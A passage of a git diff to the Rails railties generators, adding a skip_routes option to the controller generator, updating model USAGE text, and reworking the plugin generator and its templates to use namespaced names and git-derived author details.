-        Test:       test/helpers/credit_cards_helper_test.rb
diff --git a/railties/lib/rails/generators/rails/controller/controller_generator.rb b/railties/lib/rails/generators/rails/controller/controller_generator.rb
index ef84447df9..df615c88b5 100644
--- a/railties/lib/rails/generators/rails/controller/controller_generator.rb
+++ b/railties/lib/rails/generators/rails/controller/controller_generator.rb
@@ -2,6 +2,8 @@ module Rails
   module Generators
     class ControllerGenerator < NamedBase # :nodoc:
       argument :actions, type: :array, default: [], banner: "action action"
+      class_option :skip_routes, type: :boolean, desc: "Don't add routes to config/routes.rb."
+
       check_class_collision suffix: "Controller"
 
       def create_controller_files
@@ -9,8 +11,10 @@ module Rails
       end
 
       def add_routes
-        actions.reverse.each do |action|
-          route generate_routing_code(action)
+        unless options[:skip_routes]
+          actions.reverse_each do |action|
+            route generate_routing_code(action)
+          end
         end
       end
 
@@ -23,21 +27,21 @@ module Rails
         # Will generate -
         # namespace :foo do
         #   namespace :bar do
-        #     get "baz/index"
+        #     get 'baz/index'
         #   end
         # end
         def generate_routing_code(action)
-          depth = class_path.length
+          depth = regular_class_path.length
           # Create 'namespace' ladder
           # namespace :foo do
           #   namespace :bar do
-          namespace_ladder = class_path.each_with_index.map do |ns, i|
+          namespace_ladder = regular_class_path.each_with_index.map do |ns, i|
             indent("namespace :#{ns} do\n", i * 2)
           end.join
 
           # Create route
-          #     get "baz/index"
-          route = indent(%{get "#{file_name}/#{action}"\n}, depth * 2)
+          #     get 'baz/index'
+          route = indent(%{get '#{file_name}/#{action}'\n}, depth * 2)
 
           # Create `end` ladder
           #   end
diff --git a/railties/lib/rails/generators/rails/helper/USAGE b/railties/lib/rails/generators/rails/helper/USAGE
index 30e323a858..8855ef3b01 100644
--- a/railties/lib/rails/generators/rails/helper/USAGE
+++ b/railties/lib/rails/generators/rails/helper/USAGE
@@ -5,13 +5,9 @@ Description:
     To create a helper within a module, specify the helper name as a
     path like 'parent_module/helper_name'.
 
-    This generates a helper class in app/helpers and invokes the configured
-    test framework.
-
 Example:
     `rails generate helper CreditCard`
 
     Credit card helper.
         Helper:     app/helpers/credit_card_helper.rb
-        Test:       test/helpers/credit_card_helper_test.rb
 
diff --git a/railties/lib/rails/generators/rails/migration/migration_generator.rb b/railties/lib/rails/generators/rails/migration/migration_generator.rb
index 965c42db36..fca2a8fef4 100644
--- a/railties/lib/rails/generators/rails/migration/migration_generator.rb
+++ b/railties/lib/rails/generators/rails/migration/migration_generator.rb
@@ -2,7 +2,7 @@ module Rails
   module Generators
     class MigrationGenerator < NamedBase # :nodoc:
       argument :attributes, type: :array, default: [], banner: "field[:type][:index] field[:type][:index]"
-      hook_for :orm, required: true
+      hook_for :orm, required: true, desc: "ORM to be invoked"
     end
   end
 end
diff --git a/railties/lib/rails/generators/rails/model/USAGE b/railties/lib/rails/generators/rails/model/USAGE
index 145d9ee6e0..11daa5c3cb 100644
--- a/railties/lib/rails/generators/rails/model/USAGE
+++ b/railties/lib/rails/generators/rails/model/USAGE
@@ -6,6 +6,11 @@ Description:
     model's attributes. Timestamps are added by default, so you don't have to
     specify them by hand as 'created_at:datetime updated_at:datetime'.
 
+    As a special case, specifying 'password:digest' will generate a
+    password_digest field of string type, and configure your generated model and
+    tests for use with ActiveModel has_secure_password (assuming the default ORM
+    and test framework are being used).
+
     You don't have to think up every attribute up front, but it helps to
     sketch out a few so you can start working with the model immediately.
 
@@ -17,7 +22,7 @@ Description:
 
     If you pass a namespaced model name (e.g. admin/account or Admin::Account)
     then the generator will create a module with a table_name_prefix method
-    to prefix the model's table name with the module name (e.g. admin_account)
+    to prefix the model's table name with the module name (e.g. admin_accounts)
 
 Available field types:
 
@@ -27,7 +32,8 @@ Available field types:
         `rails generate model post title:string body:text`
 
     will generate a title column with a varchar type and a body column with a text
-    type. You can use the following types:
+    type. If no type is specified the string type will be used by default.
+    You can use the following types:
 
         integer
         primary_key
@@ -40,7 +46,6 @@ Available field types:
         date
         time
         datetime
-        timestamp
 
     You can also consider `references` as a kind of type. For instance, if you run:
 
@@ -60,7 +65,7 @@ Available field types:
     For decimal, two integers separated by a comma in curly braces will be used
     for precision and scale:
 
-        `rails generate model product price:decimal{10,2}`
+        `rails generate model product 'price:decimal{10,2}'`
 
     You can add a `:uniq` or `:index` suffix for unique or standard indexes
     respectively:
@@ -73,6 +78,15 @@ Available field types:
         `rails generate model user username:string{30}:uniq`
         `rails generate model product supplier:references{polymorphic}:index`
 
+    If you require a `password_digest` string column for use with
+    has_secure_password, you can specify `password:digest`:
+
+        `rails generate model user password:digest`
+
+    If you require a `token` string column for use with
+    has_secure_token, you can specify `auth_token:token`:
+
+        `rails generate model user auth_token:token`
 
 Examples:
     `rails generate model account`
diff --git a/railties/lib/rails/generators/rails/model/model_generator.rb b/railties/lib/rails/generators/rails/model/model_generator.rb
index ea3d69d7c9..ec78fd855d 100644
--- a/railties/lib/rails/generators/rails/model/model_generator.rb
+++ b/railties/lib/rails/generators/rails/model/model_generator.rb
@@ -1,8 +1,12 @@
+require 'rails/generators/model_helpers'
+
 module Rails
   module Generators
     class ModelGenerator < NamedBase # :nodoc:
+      include Rails::Generators::ModelHelpers
+
       argument :attributes, type: :array, default: [], banner: "field[:type][:index] field[:type][:index]"
-      hook_for :orm, required: true
+      hook_for :orm, required: true, desc: "ORM to be invoked"
     end
   end
 end
diff --git a/railties/lib/rails/generators/rails/plugin/plugin_generator.rb b/railties/lib/rails/generators/rails/plugin/plugin_generator.rb
index 13f5472ede..68c3829515 100644
--- a/railties/lib/rails/generators/rails/plugin/plugin_generator.rb
+++ b/railties/lib/rails/generators/rails/plugin/plugin_generator.rb
@@ -18,14 +18,14 @@ module Rails
     def app
       if mountable?
         directory 'app'
-        empty_directory_with_keep_file "app/assets/images/#{name}"
+        empty_directory_with_keep_file "app/assets/images/#{namespaced_name}"
       elsif full?
         empty_directory_with_keep_file 'app/models'
         empty_directory_with_keep_file 'app/controllers'
         empty_directory_with_keep_file 'app/views'
         empty_directory_with_keep_file 'app/helpers'
         empty_directory_with_keep_file 'app/mailers'
-        empty_directory_with_keep_file "app/assets/images/#{name}"
+        empty_directory_with_keep_file "app/assets/images/#{namespaced_name}"
       end
     end
 
@@ -50,10 +50,10 @@ module Rails
     end
 
     def lib
-      template "lib/%name%.rb"
-      template "lib/tasks/%name%_tasks.rake"
-      template "lib/%name%/version.rb"
-      template "lib/%name%/engine.rb" if engine?
+      template "lib/%namespaced_name%.rb"
+      template "lib/tasks/%namespaced_name%_tasks.rake"
+      template "lib/%namespaced_name%/version.rb"
+      template "lib/%namespaced_name%/engine.rb" if engine?
     end
 
     def config
@@ -62,7 +62,7 @@ module Rails
 
     def test
       template "test/test_helper.rb"
-      template "test/%name%_test.rb"
+      template "test/%namespaced_name%_test.rb"
       append_file "Rakefile", <<-EOF
 #{rakefile_test_tasks}
 
@@ -74,7 +74,8 @@ task default: :test
     end
 
     PASSTHROUGH_OPTIONS = [
-      :skip_active_record, :skip_javascript, :database, :javascript, :quiet, :pretend, :force, :skip
+      :skip_active_record, :skip_action_mailer, :skip_javascript, :database,
+      :javascript, :quiet, :pretend, :force, :skip
     ]
 
     def generate_test_dummy(force = false)
@@ -116,9 +117,9 @@ task default: :test
     def stylesheets
       if mountable?
         copy_file "rails/stylesheets.css",
-                  "app/assets/stylesheets/#{name}/application.css"
+                  "app/assets/stylesheets/#{namespaced_name}/application.css"
       elsif full?
-        empty_directory_with_keep_file "app/assets/stylesheets/#{name}"
+        empty_directory_with_keep_file "app/assets/stylesheets/#{namespaced_name}"
       end
     end
 
@@ -127,9 +128,9 @@ task default: :test
 
       if mountable?
         template "rails/javascripts.js",
-                 "app/assets/javascripts/#{name}/application.js"
+                 "app/assets/javascripts/#{namespaced_name}/application.js"
       elsif full?
-        empty_directory_with_keep_file "app/assets/javascripts/#{name}"
+        empty_directory_with_keep_file "app/assets/javascripts/#{namespaced_name}"
       end
     end
 
@@ -176,12 +177,15 @@ task default: :test
                                                  "skip adding entry to Gemfile"
 
       def initialize(*args)
-        raise Error, "Options should be given after the plugin name. For details run: rails plugin new --help" if args[0].blank?
-
         @dummy_path = nil
         super
+
+        unless plugin_path
+          raise Error, "Plugin name should be provided in arguments. For details run: rails plugin new --help"
+        end
       end
 
+      public_task :set_default_accessors!
       public_task :create_root
 
       def create_root_files
@@ -222,7 +226,7 @@ task default: :test
       end
 
       def create_test_files
-        build(:test) unless options[:skip_test_unit]
+        build(:test) unless options[:skip_test]
       end
 
       def create_test_dummy_files
@@ -252,6 +256,14 @@ task default: :test
         end
       end
 
+      def underscored_name
+        @underscored_name ||= original_name.underscore
+      end
+
+      def namespaced_name
+        @namespaced_name ||= name.gsub('-', '/')
+      end
+
     protected
 
       def app_templates_dir
@@ -285,8 +297,12 @@ task default: :test
         options[:mountable]
       end
 
+      def skip_git?
+        options[:skip_git]
+      end
+
       def with_dummy_app?
-        options[:skip_test_unit].blank? || options[:dummy_path] != 'test/dummy'
+        options[:skip_test].blank? || options[:dummy_path] != 'test/dummy'
       end
 
       def self.banner
@@ -297,13 +313,54 @@ task default: :test
         @original_name ||= File.basename(destination_root)
       end
 
+      def modules
+        @modules ||= namespaced_name.camelize.split("::")
+      end
+
+      def wrap_in_modules(unwrapped_code)
+        unwrapped_code = "#{unwrapped_code}".strip.gsub(/\W$\n/, '')
+        modules.reverse.inject(unwrapped_code) do |content, mod|
+          str = "module #{mod}\n"
+          str += content.lines.map { |line| "  #{line}" }.join
+          str += content.present? ? "\nend" : "end"
+        end
+      end
+
+      def camelized_modules
+        @camelized_modules ||= namespaced_name.camelize
+      end
+
+      def humanized
+        @humanized ||= original_name.underscore.humanize
+      end
+
       def camelized
         @camelized ||= name.gsub(/\W/, '_').squeeze('_').camelize
       end
 
+      def author
+        default = "TODO: Write your name"
+        if skip_git?
+          @author = default
+        else
+          @author = `git config user.name`.chomp rescue default
+        end
+      end
+
+      def email
+        default = "TODO: Write your email address"
+        if skip_git?
+          @email = default
+        else
+          @email = `git config user.email`.chomp rescue default
+        end
+      end
+
       def valid_const?
-        if original_name =~ /[^0-9a-zA-Z_]+/
-          raise Error, "Invalid plugin name #{original_name}. Please give a name which use only alphabetic or numeric or \"_\" characters."
+        if original_name =~ /-\d/
+          raise Error, "Invalid plugin name #{original_name}. Please give a name which does not contain a namespace starting with numeric characters."
+        elsif original_name =~ /[^\w-]+/
+          raise Error, "Invalid plugin name #{original_name}. Please give a name which uses only alphabetic, numeric, \"_\" or \"-\" characters."
         elsif camelized =~ /^\d/
           raise Error, "Invalid plugin name #{original_name}. Please give a name which does not start with numbers."
         elsif RESERVED_NAMES.include?(name)
@@ -317,7 +374,7 @@ task default: :test
         @application_definition ||= begin
 
           dummy_application_path = File.expand_path("#{dummy_path}/config/application.rb", destination_root)
-          unless options[:pretend] || !File.exists?(dummy_application_path)
+          unless options[:pretend] || !File.exist?(dummy_application_path)
             contents = File.read(dummy_application_path)
             contents[(contents.index(/module ([\w]+)\n(.*)class Application/m))..-1]
           end
diff --git a/railties/lib/rails/generators/rails/plugin/templates/%name%.gemspec b/railties/lib/rails/generators/rails/plugin/templates/%name%.gemspec
index 5fdf0e1554..f8ece4fe73 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/%name%.gemspec
+++ b/railties/lib/rails/generators/rails/plugin/templates/%name%.gemspec
@@ -1,21 +1,21 @@
 $:.push File.expand_path("../lib", __FILE__)
 
 # Maintain your gem's version:
-require "<%= name %>/version"
+require "<%= namespaced_name %>/version"
 
 # Describe your gem and declare its dependencies:
 Gem::Specification.new do |s|
   s.name        = "<%= name %>"
-  s.version     = <%= camelized %>::VERSION
-  s.authors     = ["TODO: Your name"]
-  s.email       = ["TODO: Your email"]
+  s.version     = <%= camelized_modules %>::VERSION
+  s.authors     = ["<%= author %>"]
+  s.email       = ["<%= email %>"]
   s.homepage    = "TODO"
-  s.summary     = "TODO: Summary of <%= camelized %>."
-  s.description = "TODO: Description of <%= camelized %>."
+  s.summary     = "TODO: Summary of <%= camelized_modules %>."
+  s.description = "TODO: Description of <%= camelized_modules %>."
   s.license     = "MIT"
 
   s.files = Dir["{app,config,db,lib}/**/*", "MIT-LICENSE", "Rakefile", "README.rdoc"]
-<% unless options.skip_test_unit? -%>
+<% unless options.skip_test? -%>
   s.test_files = Dir["test/**/*"]
 <% end -%>
 
diff --git a/railties/lib/rails/generators/rails/plugin/templates/Gemfile b/railties/lib/rails/generators/rails/plugin/templates/Gemfile
index 3f2b78f2fd..f325455bac 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/Gemfile
+++ b/railties/lib/rails/generators/rails/plugin/templates/Gemfile
@@ -1,7 +1,7 @@
-source "https://rubygems.org"
+source 'https://rubygems.org'
 
 <% if options[:skip_gemspec] -%>
-<%= '# ' if options.dev? || options.edge? -%>gem "rails", "~> <%= Rails::VERSION::STRING %>"
+<%= '# ' if options.dev? || options.edge? -%>gem 'rails', '~> <%= Rails::VERSION::STRING %>'
 <% else -%>
 # Declare your gem's dependencies in <%= name %>.gemspec.
 # Bundler will treat runtime dependencies like base dependencies, and
@@ -11,7 +11,7 @@ gemspec
 
 <% if options[:skip_gemspec] -%>
 group :development do
-  gem "<%= gem_for_database %>"
+  gem '<%= gem_for_database %>'
 end
 <% else -%>
 # Declare any dependencies that are still in development here instead of in
@@ -23,8 +23,25 @@ end
 <% if options.dev? || options.edge? -%>
 # Your gem is dependent on dev or edge Rails. Once you can lock this
 # dependency down to a specific version, move it to your gemspec.
-<%= rails_gemfile_entry -%>
+<% max_width = gemfile_entries.map { |g| g.name.length }.max -%>
+<% gemfile_entries.each do |gem| -%>
+<% if gem.comment -%>
 
+# <%= gem.comment %>
+<% end -%>
+<%= gem.commented_out ? '# ' : '' %>gem '<%= gem.name %>'<%= %(, '#{gem.version}') if gem.version -%>
+<% if gem.options.any? -%>
+, <%= gem.options.map { |k,v|
+  "#{k}: #{v.inspect}" }.join(', ') %>
+<% end -%>
+<% end -%>
+
+<% end -%>
+<% if RUBY_ENGINE == 'ruby' -%>
+# To use a debugger
+# gem 'byebug', group: [:development, :test]
+<% end -%>
+
+<% if RUBY_PLATFORM.match(/bccwin|cygwin|emx|mingw|mswin|wince|java/) -%>
+gem 'tzinfo-data', platforms: [:mingw, :mswin, :x64_mingw, :jruby]
 <% end -%>
-# To use debugger
-# gem 'debugger'
diff --git a/railties/lib/rails/generators/rails/plugin/templates/MIT-LICENSE b/railties/lib/rails/generators/rails/plugin/templates/MIT-LICENSE
index d7a9109894..ff2fb3ba4e 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/MIT-LICENSE
+++ b/railties/lib/rails/generators/rails/plugin/templates/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright <%= Date.today.year %> YOURNAME
+Copyright <%= Date.today.year %> <%= author %>
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/railties/lib/rails/generators/rails/plugin/templates/README.rdoc b/railties/lib/rails/generators/rails/plugin/templates/README.rdoc
index 301d647731..25983ca5da 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/README.rdoc
+++ b/railties/lib/rails/generators/rails/plugin/templates/README.rdoc
@@ -1,3 +1,3 @@
-= <%= camelized %>
+= <%= camelized_modules %>
 
 This project rocks and uses MIT-LICENSE.
\ No newline at end of file
diff --git a/railties/lib/rails/generators/rails/plugin/templates/Rakefile b/railties/lib/rails/generators/rails/plugin/templates/Rakefile
index 0ba899176c..bda55bae29 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/Rakefile
+++ b/railties/lib/rails/generators/rails/plugin/templates/Rakefile
@@ -8,7 +8,7 @@ require 'rdoc/task'
 
 RDoc::Task.new(:rdoc) do |rdoc|
   rdoc.rdoc_dir = 'rdoc'
-  rdoc.title    = '<%= camelized %>'
+  rdoc.title    = '<%= camelized_modules %>'
   rdoc.options << '--line-numbers'
   rdoc.rdoc_files.include('README.rdoc')
   rdoc.rdoc_files.include('lib/**/*.rb')
@@ -19,6 +19,10 @@ APP_RAKEFILE = File.expand_path("../<%= dummy_path -%>/Rakefile", __FILE__)
 load 'rails/tasks/engine.rake'
 <% end %>
 
+<% if engine? -%>
+load 'rails/tasks/statistics.rake'
+<% end %>
+
 <% unless options[:skip_gemspec] -%>
 
 Bundler::GemHelper.install_tasks
diff --git a/railties/lib/rails/generators/rails/plugin/templates/app/controllers/%name%/application_controller.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/app/controllers/%namespaced_name%/application_controller.rb.tt
index 448ad7f989..7157e48c42 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/app/controllers/%name%/application_controller.rb.tt
+++ b/railties/lib/rails/generators/rails/plugin/templates/app/controllers/%namespaced_name%/application_controller.rb.tt
@@ -1,4 +1,5 @@
-module <%= camelized %>
+<%= wrap_in_modules <<-rb.strip_heredoc
   class ApplicationController < ActionController::Base
   end
-end
+rb
+%>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/app/helpers/%name%/application_helper.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/app/helpers/%name%/application_helper.rb.tt
deleted file mode 100644
index 40ae9f52c2..0000000000
--- a/railties/lib/rails/generators/rails/plugin/templates/app/helpers/%name%/application_helper.rb.tt
+++ /dev/null
@@ -1,4 +0,0 @@
-module <%= camelized %>
-  module ApplicationHelper
-  end
-end
diff --git a/railties/lib/rails/generators/rails/plugin/templates/app/helpers/%namespaced_name%/application_helper.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/app/helpers/%namespaced_name%/application_helper.rb.tt
new file mode 100644
index 0000000000..25d692732d
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/app/helpers/%namespaced_name%/application_helper.rb.tt
@@ -0,0 +1,5 @@
+<%= wrap_in_modules <<-rb.strip_heredoc
+  module ApplicationHelper
+  end
+rb
+%>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/app/views/layouts/%name%/application.html.erb.tt b/railties/lib/rails/generators/rails/plugin/templates/app/views/layouts/%name%/application.html.erb.tt
deleted file mode 100644
index 1d380420b4..0000000000
--- a/railties/lib/rails/generators/rails/plugin/templates/app/views/layouts/%name%/application.html.erb.tt
+++ /dev/null
@@ -1,14 +0,0 @@
-<!DOCTYPE html>
-<html>
-<head>
-  <title><%= camelized %></title>
-  <%%= stylesheet_link_tag    "<%= name %>/application", media: "all" %>
-  <%%= javascript_include_tag "<%= name %>/application" %>
-  <%%= csrf_meta_tags %>
-</head>
-<body>
-
-<%%= yield %>
-
-</body>
-</html>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/app/views/layouts/%namespaced_name%/application.html.erb.tt b/railties/lib/rails/generators/rails/plugin/templates/app/views/layouts/%namespaced_name%/application.html.erb.tt
new file mode 100644
index 0000000000..6bc480161d
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/app/views/layouts/%namespaced_name%/application.html.erb.tt
@@ -0,0 +1,14 @@
+<!DOCTYPE html>
+<html>
+<head>
+  <title><%= humanized %></title>
+  <%%= stylesheet_link_tag    "<%= namespaced_name %>/application", media: "all" %>
+  <%%= javascript_include_tag "<%= namespaced_name %>/application" %>
+  <%%= csrf_meta_tags %>
+</head>
+<body>
+
+<%%= yield %>
+
+</body>
+</html>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/bin/rails.tt b/railties/lib/rails/generators/rails/plugin/templates/bin/rails.tt
index c8de9f3e0f..3edaac35c9 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/bin/rails.tt
+++ b/railties/lib/rails/generators/rails/plugin/templates/bin/rails.tt
@@ -1,7 +1,11 @@
 # This command will automatically be run when you run "rails" with Rails 4 gems installed from the root of your application.
 
 ENGINE_ROOT = File.expand_path('../..', __FILE__)
-ENGINE_PATH = File.expand_path('../../lib/<%= name -%>/engine', __FILE__)
+ENGINE_PATH = File.expand_path('../../lib/<%= namespaced_name -%>/engine', __FILE__)
+
+# Set up gems listed in the Gemfile.
+ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
+require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE'])
 
 require 'rails/all'
 require 'rails/engine/commands'
diff --git a/railties/lib/rails/generators/rails/plugin/templates/config/routes.rb b/railties/lib/rails/generators/rails/plugin/templates/config/routes.rb
index 8e158d5831..154452bfe5 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/config/routes.rb
+++ b/railties/lib/rails/generators/rails/plugin/templates/config/routes.rb
@@ -1,5 +1,5 @@
 <% if mountable? -%>
-<%= camelized %>::Engine.routes.draw do
+<%= camelized_modules %>::Engine.routes.draw do
 <% else -%>
 Rails.application.routes.draw do
 <% end -%>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/gitignore b/railties/lib/rails/generators/rails/plugin/templates/gitignore
index 086d87818a..d524fcbc4e 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/gitignore
+++ b/railties/lib/rails/generators/rails/plugin/templates/gitignore
@@ -1,10 +1,10 @@
 .bundle/
 log/*.log
 pkg/
-<% unless options[:skip_test_unit] && options[:dummy_path] == 'test/dummy' -%>
+<% unless options[:skip_test] && options[:dummy_path] == 'test/dummy' -%>
 <%= dummy_path %>/db/*.sqlite3
 <%= dummy_path %>/db/*.sqlite3-journal
 <%= dummy_path %>/log/*.log
 <%= dummy_path %>/tmp/
 <%= dummy_path %>/.sass-cache
-<% end -%>
\ No newline at end of file
+<% end -%>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/lib/%name%.rb b/railties/lib/rails/generators/rails/plugin/templates/lib/%name%.rb
deleted file mode 100644
index 40c074cced..0000000000
--- a/railties/lib/rails/generators/rails/plugin/templates/lib/%name%.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-<% if engine? -%>
-require "<%= name %>/engine"
-
-<% end -%>
-module <%= camelized %>
-end
diff --git a/railties/lib/rails/generators/rails/plugin/templates/lib/%name%/engine.rb b/railties/lib/rails/generators/rails/plugin/templates/lib/%name%/engine.rb
deleted file mode 100644
index 967668fe66..0000000000
--- a/railties/lib/rails/generators/rails/plugin/templates/lib/%name%/engine.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-module <%= camelized %>
-  class Engine < ::Rails::Engine
-<% if mountable? -%>
-    isolate_namespace <%= camelized %>
-<% end -%>
-  end
-end
diff --git a/railties/lib/rails/generators/rails/plugin/templates/lib/%name%/version.rb b/railties/lib/rails/generators/rails/plugin/templates/lib/%name%/version.rb
deleted file mode 100644
index ef07ef2e19..0000000000
--- a/railties/lib/rails/generators/rails/plugin/templates/lib/%name%/version.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-module <%= camelized %>
-  VERSION = "0.0.1"
-end
diff --git a/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%.rb b/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%.rb
new file mode 100644
index 0000000000..40b1c4cee7
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%.rb
@@ -0,0 +1,5 @@
+<% if engine? -%>
+require "<%= namespaced_name %>/engine"
+
+<% end -%>
+<%= wrap_in_modules "# Your code goes here..." %>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/engine.rb b/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/engine.rb
new file mode 100644
index 0000000000..17afd52177
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/engine.rb
@@ -0,0 +1,6 @@
+<%= wrap_in_modules <<-rb.strip_heredoc
+  class Engine < ::Rails::Engine
+  #{mountable? ? '  isolate_namespace ' + camelized_modules : ' '}
+  end
+rb
+%>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/version.rb b/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/version.rb
new file mode 100644
index 0000000000..d257295988
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/version.rb
@@ -0,0 +1 @@
+<%= wrap_in_modules 'VERSION = "0.0.1"' %>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/lib/tasks/%name%_tasks.rake b/railties/lib/rails/generators/rails/plugin/templates/lib/tasks/%namespaced_name%_tasks.rake
index 7121f5ae23..88a2c4120f 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/lib/tasks/%name%_tasks.rake
+++ b/railties/lib/rails/generators/rails/plugin/templates/lib/tasks/%namespaced_name%_tasks.rake
@@ -1,4 +1,4 @@
 # desc "Explaining what the task does"
-# task :<%= name %> do
+# task :<%= underscored_name %> do
 #   # Task goes here
 # end
diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/application.rb b/railties/lib/rails/generators/rails/plugin/templates/rails/application.rb
index 5508829f6b..b1038c839e 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/rails/application.rb
+++ b/railties/lib/rails/generators/rails/plugin/templates/rails/application.rb
@@ -6,13 +6,13 @@ require 'rails/all'
 # Pick the frameworks you want:
 <%= comment_if :skip_active_record %>require "active_record/railtie"
 require "action_controller/railtie"
-require "action_mailer/railtie"
-<%= comment_if :skip_action_view %>require "action_view/railtie"
+<%= comment_if :skip_action_mailer %>require "action_mailer/railtie"
+require "action_view/railtie"
 <%= comment_if :skip_sprockets %>require "sprockets/railtie"
-<%= comment_if :skip_test_unit %>require "rails/test_unit/railtie"
+<%= comment_if :skip_test %>require "rails/test_unit/railtie"
 <% end -%>
 
 Bundler.require(*Rails.groups)
-require "<%= name %>"
+require "<%= namespaced_name %>"
 
 <%= application_definition %>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/boot.rb b/railties/lib/rails/generators/rails/plugin/templates/rails/boot.rb
index ef360470a3..6266cfc509 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/rails/boot.rb
+++ b/railties/lib/rails/generators/rails/plugin/templates/rails/boot.rb
@@ -1,5 +1,5 @@
 # Set up gems listed in the Gemfile.
 ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../../../Gemfile', __FILE__)
 
-require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE'])
+require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE'])
 $LOAD_PATH.unshift File.expand_path('../../../../lib', __FILE__)
diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/javascripts.js b/railties/lib/rails/generators/rails/plugin/templates/rails/javascripts.js
index 5bc2e1c8b5..c28e5badc6 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/rails/javascripts.js
+++ b/railties/lib/rails/generators/rails/plugin/templates/rails/javascripts.js
@@ -2,7 +2,7 @@
 // listed below.
 //
 // Any JavaScript/Coffee file within this directory, lib/assets/javascripts, vendor/assets/javascripts,
-// or vendor/assets/javascripts of plugins, if any, can be referenced here using a relative path.
+// or any plugin's vendor/assets/javascripts directory can be referenced here using a relative path.
 //
 // It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the
 // compiled file.
diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/routes.rb b/railties/lib/rails/generators/rails/plugin/templates/rails/routes.rb
index 730ee31c3d..673de44108 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/rails/routes.rb
+++ b/railties/lib/rails/generators/rails/plugin/templates/rails/routes.rb
@@ -1,4 +1,4 @@
 Rails.application.routes.draw do
 
-  mount <%= camelized %>::Engine => "/<%= name %>"
+  mount <%= camelized_modules %>::Engine => "/<%= name %>"
 end
diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/stylesheets.css b/railties/lib/rails/generators/rails/plugin/templates/rails/stylesheets.css
index a443db3401..0cdd2788d0 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/rails/stylesheets.css
+++ b/railties/lib/rails/generators/rails/plugin/templates/rails/stylesheets.css
@@ -3,12 +3,11 @@
  * listed below.
  *
  * Any CSS and SCSS file within this directory, lib/assets/stylesheets, vendor/assets/stylesheets,
- * or vendor/assets/stylesheets of plugins, if any, can be referenced here using a relative path.
+ * or any plugin's vendor/assets/stylesheets directory can be referenced here using a relative path.
  *
  * You're free to add application-wide styles to this file and they'll appear at the bottom of the
- * compiled file so the styles you add here take precedence over styles defined in any styles
- * defined in the other CSS/SCSS files in this directory. It is generally better to create a new
- * file per style scope.
+ * compiled file so the styles you add here take precedence over styles defined in any other CSS/SCSS
+ * files in this directory. It is generally better to create a new file per style scope.
  *
  *= require_tree .
  *= require_self
diff --git a/railties/lib/rails/generators/rails/plugin/templates/test/%name%_test.rb b/railties/lib/rails/generators/rails/plugin/templates/test/%name%_test.rb
deleted file mode 100644
index 0a8bbd4aaf..0000000000
--- a/railties/lib/rails/generators/rails/plugin/templates/test/%name%_test.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-require 'test_helper'
-
-class <%= camelized %>Test < ActiveSupport::TestCase
-  test "truth" do
-    assert_kind_of Module, <%= camelized %>
-  end
-end
diff --git a/railties/lib/rails/generators/rails/plugin/templates/test/%namespaced_name%_test.rb b/railties/lib/rails/generators/rails/plugin/templates/test/%namespaced_name%_test.rb
new file mode 100644
index 0000000000..1ee05d7871
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/test/%namespaced_name%_test.rb
@@ -0,0 +1,7 @@
+require 'test_helper'
+
+class <%= camelized_modules %>::Test < ActiveSupport::TestCase
+  test "truth" do
+    assert_kind_of Module, <%= camelized_modules %>
+  end
+end
diff --git a/railties/lib/rails/generators/rails/plugin/templates/test/test_helper.rb b/railties/lib/rails/generators/rails/plugin/templates/test/test_helper.rb
index 1e26a313cd..0852ffce9a 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/test/test_helper.rb
+++ b/railties/lib/rails/generators/rails/plugin/templates/test/test_helper.rb
